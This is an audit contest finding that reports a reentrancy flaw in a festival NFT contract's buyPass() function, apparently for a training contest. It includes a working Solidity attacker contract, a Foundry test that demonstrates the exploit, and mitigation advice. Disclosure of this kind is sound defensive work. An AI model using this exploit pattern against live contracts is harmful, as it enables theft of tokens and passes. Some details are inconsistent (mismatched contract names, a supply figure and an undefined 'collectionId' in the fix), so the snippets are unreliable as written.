Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy vulnerability in buyPass() function allows bypassing supply limits thereby obtaining multiple passes

Root + Impact

Description

The buyPass() function in FestivalPass.sol is vulnerable to reentrancy attacks. The vulnerability occurs because the ERC1155 _mint() function calls onERC1155Received() on the recipient contract before the passSupply counter is incremented. This allows malicious contracts to reenter the buyPass() function and bypass supply limits, obtaining multiple passes in a single transaction. The attacker also gets an extra NFT that is not paid for.

function buyPass(uint256 passId) external payable {
PassConfig memory config = passConfigs[passId];
require(config.price > 0, "Pass not configured");
require(msg.value == config.price, "Incorrect payment amount");
require(passSupply[passId] < config.maxSupply, "Max supply reached"); // ❌ Check happens before mint
@> _mint(msg.sender, passId, 1, ""); // ❌ Calls onERC1155Received() before supply update
@> passSupply[passId]++; // ❌ Supply updated AFTER mint and callback
beatToken.mint(msg.sender, 5e18);
emit PassPurchased(msg.sender, passId);
}

Risk

Likelihood:

  • A malicious user can create a contract that calls the buyPassfunction and reenters the function before the transaction is completed.

Impact:

  • Multiple passes can be purchased in a single transaction, potentially exhausting the entire supply

  • Attackers can bypass maximum supply limits for festival passes

  • Attackers receive multiple BEAT token bonuses unfairly

  • Legitimate users may be unable to purchase passes due to supply exhaustion

  • Economic damage to the festival organizers through uncontrolled pass distribution

  • Potential for attackers to resell excess passes at inflated prices

  • Attacker gets an extra free NFT that is not paid for

Proof of Concept

The vulnerability exists in the buyPass() function flow:

  1. User calls buyPass() with payment

  2. _mint() is called, which triggers onERC1155Received() callback on the recipient contract

  3. During the callback, passSupply has not yet been incremented

  4. A malicious contract can reenter buyPass() and bypass supply checks

  5. Process repeats until gas limit or attacker's eth is depleted

pragma solidity 0.8.25;
import {IERC1155Receiver} from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import {FestivalPass} from "../src/FestivalPass.sol";
//malicious contract
contract ReentrancyAttacker is IERC1155Receiver {
FestivalPass public immutable festivalPass;
uint256 public maxReentries = 50;
uint256 public currentReentries = 0;
constructor(FestivalPass _festivalPass) {
festivalPass = _festivalPass;
}
function attack() external payable {
currentReentries = 0;
festivalPass.buyPass{value: msg.value}(2); // Attack VIP pass
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) external override returns (bytes4) {
// Reenter if we haven't hit our limit
if (currentReentries < maxReentries) {
currentReentries++;
// Reentrancy attack - call buyPass again!
festivalPass.buyPass{value: 0.1 ether}(2);
}
return IERC1155Receiver.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure override returns (bytes4) {
return IERC1155Receiver.onERC1155BatchReceived.selector;
}
function supportsInterface(bytes4 interfaceId) external pure override returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId;
}
receive() external payable {}
}
```
//Test Demonstrating the Attack
```solidity
pragma solidity 0.8.25;
import "forge-std/Test.sol";
import {FestivalPass} from "../src/FestivalPass.sol";
import {BeatToken} from "../src/BeatToken.sol";
import {IERC1155Receiver} from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
/**
* @title ReentrancyAttackTest
* @dev Test to demonstrate the reentrancy vulnerability in FestivalPass.buyPass()
*
* The vulnerability exists because:
* 1. _mint() calls onERC1155Received() on the recipient if it's a contract
* 2. This callback happens BEFORE passSupply is incremented
* 3. Attacker can reenter buyPass() and bypass supply limits
*/
contract ReentrancyAttackTest is Test {
FestivalPass public festivalPass;
BeatToken public beatToken;
AttackerContract public attacker;
address public organizer;
uint256 constant VIP_PRICE = 0.1 ether;
uint256 constant VIP_MAX_SUPPLY = 5; // Small supply for easier testing
function setUp() public {
organizer = makeAddr("organizer");
// Deploy contracts
beatToken = new BeatToken();
festivalPass = new FestivalPass(address(beatToken), organizer);
beatToken.setFestivalContract(address(festivalPass));
// Configure VIP pass with limited supply
vm.prank(organizer);
festivalPass.configurePass(2, VIP_PRICE, VIP_MAX_SUPPLY);
// Deploy attacker contract
attacker = new AttackerContract(festivalPass);
// Fund attacker
vm.deal(address(attacker), 10 ether);
}
function test_ReentrancyAttack_ByGettingAnExtraFreeNFT_WithoutPaying_AndExceeding_MaxSupply() public {
console.log("=== REENTRANCY ATTACK TEST ===");
console.log("VIP Pass Max Supply: 3");
console.log("VIP Pass Price: 100000000000000000"); // 0.1 ether
// Check initial state
assertEq(festivalPass.passSupply(2), 0, "Initial supply should be 0");
assertEq(
festivalPass.balanceOf(address(attacker), 2),
0,
"Attacker should have 0 passes initially"
);
console.log("\n--- Before Attack ---");
console.log("Current VIP supply:", festivalPass.passSupply(2));
console.log(
"Attacker VIP balance:",
festivalPass.balanceOf(address(attacker), 2)
);
console.log(
"Attacker BEAT balance:",
beatToken.balanceOf(address(attacker))
);
console.log("Attacker Eth balance before:", address(attacker).balance);
// Execute the attack
console.log("\n--- Executing Attack ---");
attacker.attack{value: VIP_PRICE}();
console.log("\n--- After Attack ---");
console.log("Current VIP supply:", festivalPass.passSupply(2));
console.log(
"Attacker VIP balance:",
festivalPass.balanceOf(address(attacker), 2)
);
console.log(
"Attacker BEAT balance:",
beatToken.balanceOf(address(attacker))
);
// Verify the attack succeeded
uint256 attackerPassBalance = festivalPass.balanceOf(
address(attacker),
2
);
uint256 currentSupply = festivalPass.passSupply(2);
uint256 attackerBeatBalance = beatToken.balanceOf(address(attacker));
// The attacker should have more passes than they should be able to buy with a single transaction
assertTrue(
attackerPassBalance > 1,
"Attack should result in multiple passes"
);
// The attack demonstrates reentrancy by obtaining multiple passes in one transaction
// Even if it doesn't exceed max supply, getting 3 passes in one call proves the vulnerability
assertTrue(
attackerPassBalance >= 3,
"Should have obtained multiple passes through reentrancy"
);
assertTrue(
attackerBeatBalance > 5e18,
"Should have multiple BEAT bonuses"
);
console.log("\n=== ATTACK SUCCESSFUL ===");
console.log("Passes obtained:", attackerPassBalance);
console.log("Attacker Eth balance after:", address(attacker).balance);
if (currentSupply > VIP_MAX_SUPPLY) {
console.log(
"Supply exceeded max by:",
currentSupply - VIP_MAX_SUPPLY
);
} else {
console.log(
"Current supply:",
currentSupply,
"Max supply:",
VIP_MAX_SUPPLY
);
}
console.log("Extra BEAT tokens:", attackerBeatBalance - 5e18);
}
function test_NormalUser_CannotExceed_MaxSupply() public {
console.log("=== NORMAL USER SUPPLY LIMIT TEST ===");
address normalUser = makeAddr("normalUser");
vm.deal(normalUser, 10 ether);
// Normal users should be limited by supply
vm.startPrank(normalUser);
console.log("Eth balance before purchase:", address(normalUser).balance);
// Buy up to max supply
for (uint i = 0; i < VIP_MAX_SUPPLY; i++) {
festivalPass.buyPass{value: VIP_PRICE}(2);
}
console.log(
"Normal user VIP balance after purchases:",
festivalPass.balanceOf(normalUser, 2)
);
console.log(
"Normal user BEAT balance after purchases:",
beatToken.balanceOf(normalUser)
);
console.log("Eth balance before purchase:", address(normalUser).balance);
// Next purchase should fail
vm.expectRevert("Max supply reached");
festivalPass.buyPass{value: VIP_PRICE}(2);
vm.stopPrank();
console.log("Normal user correctly limited by max supply");
assertEq(festivalPass.passSupply(2), VIP_MAX_SUPPLY);
assertEq(festivalPass.balanceOf(normalUser, 2), VIP_MAX_SUPPLY);
}
}

Recommended Mitigation


  1. Use Reentrancy Guard: Implement OpenZeppelin's ReentrancyGuard modifier:

  2. Follow Checks-Effects-Interactions Pattern: Update state before external calls:

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract FestivalPass is ERC1155, Ownable, ReentrancyGuard {
function buyPass(uint256 passId) external payable nonReentrant {
// existing function logic
}
}
function buyPass(uint256 passId) external payable nonReentrant {
//rest of code
+ ++passSupply[collectionId];
_mint(msg.sender, passId, 1, "");
- ++passSupply[collectionId];
emit PassPurchased(msg.sender, passId);
//rest of code
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPass reentrancy to surpass the passMaxSupply

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.